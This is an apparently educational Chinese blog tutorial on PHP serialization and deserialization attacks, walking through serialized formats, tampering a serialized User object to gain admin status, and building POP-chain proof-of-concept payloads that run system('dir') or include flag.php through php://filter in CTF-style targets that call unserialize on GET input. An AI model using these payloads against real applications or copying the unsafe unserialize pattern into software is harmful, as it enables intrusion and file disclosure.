PHP 反序列化 - 技术栈

一、PHP 序列化

1、对象的序列化

php 复制代码

<?php
class people{
    public $name='Gaming';
    private $Nation='Liyue';
    protected $Birthday='12/22';

    public function say(){
        echo "老板你好呀，我是和记厅的镖师，叫我嘉明就行，要运货吗你？";
    }
}
$Gaming=new people();
echo $Gaming->name;
echo '<br>';
$a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串
echo $a;
echo '<br>';
$c=urlencode($a);       //将 字符串 $a 进行 url 编码
echo $c;

运行：

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";} O%3A6%3A%22people%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22Gaming%22%3Bs%3A14%3A%22**%00people%00Nation** %22%3Bs%3A5%3A%22Liyue%22%3Bs%3A11%3A%22**%00%2A%00Birthday**%22%3Bs%3A5%3A%2212%2F22%22%3B%7D

O：（object）一个序列化的对象

6：类名的长度

3：类中有 3 个属性

s：（string）字符串

4：属性长度

6：值长度

2、数组的序列化

①、普通数组

php 复制代码

$arr=array('Gaming','Chongyun');
echo serialize($arr);

运行：

> a:2:{i:0;s:6:"Gaming";i:1;s:8:"Chongyun";}

a：数组

2：2 个值

i：索引

0：第 0 个

②、关联数组

php 复制代码

 $arr=array(
     'name' => 'Chongyun',
     'Nation' => 'Liyue',
     'Birthday' => '9/7'
 );
 echo serialize($arr);

运行：

a:3:{s:4:"name";s:8:"Chongyun";s:6:"Nation";s:5:"Liyue";s:8:"Birthday";s:3:"9/7";}

二、PHP 反序列化

php 复制代码

 $Gaming=new people();
 echo $Gaming->name;
 echo '<br>';
 $a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串
 echo $a;
 echo '<br>';
 echo '<br>';
 print_r(unserialize($a));
 echo '<br>';
 echo '<br>';
 var_dump(unserialize($a));

运行：

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

people Object ( $name$ => Gaming $Nation:people:private$ => Liyue $Birthday:protected$ => 12/22 )

object(people)#2 (3) { $"name"$ => string(6) "Gaming" $"Nation":"people":private$ => string(5) "Liyue" $"Birthday":protected$ => string(5) "12/22" }

获得一个序列化的字符串：

O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

手动添加空字符

s:14:"%00 people**%00** Nation";s:5:"Liyue";s:11:"%00*%00Birthday";

篡改字符串信息，反序列化后得到篡改后的对象：

php 复制代码

 highlight_file(__FILE__);
 class User {
     public $username='lili';
     public $isAdmin=0;
 }
 
 $userData = $_GET['data'];
 $user = unserialize($userData);
 if($user->isAdmin===1 && $user->username==='admin'){
     // 目标输出：欢迎你管理员~
     echo '欢迎你管理员~';
 }
 else{
     echo '你是一个普通用户！';
 }

编写脚本，得到序列化字符串

php 复制代码

class User {
     public $username='admin';
     public $isAdmin=1;
 }
 
 $user = new User();
 $serialized_data = serialize($user);
 echo $serialized_data;

GET 传参即可

三、pop链的构造

引入：

php 复制代码

if(isset($_GET['test'])){
    @unserialize($_GET['test']);
    highlight_file(__FILE__);
}
else{
    $a=new test;
}

POC 编写：

php 复制代码

class  test{
    private $index;
    function __construct()
    {
        $this->index=new execute();
    }
}

class execute{
    public  $test="system('dir');";
}
$a=new test();
echo urlencode(serialize($a));
```

例题：

php 复制代码

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

POC 构造：

php 复制代码

class Modifier {
 	protected  $var="flag.php"; #include函数使用为协议读取文件
 // protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
 }
 class Test{
     public $p;
 }
 class Show{
     public $source;
     public $str;
     //将另一个对象赋值给属性需要使用构造函数。
     public function __construct(){
         $this->str =new Test();  // 触发 __get()
     }
 }
 $new_show = new Show();  // 触发 POP链中的 __construct()
 $new_show->source = new Show();  // 触发 __toString()
 $new_show->source->str->p = new Modifier();  // 触发 __invoke()
 echo urlencode(serialize($new_show));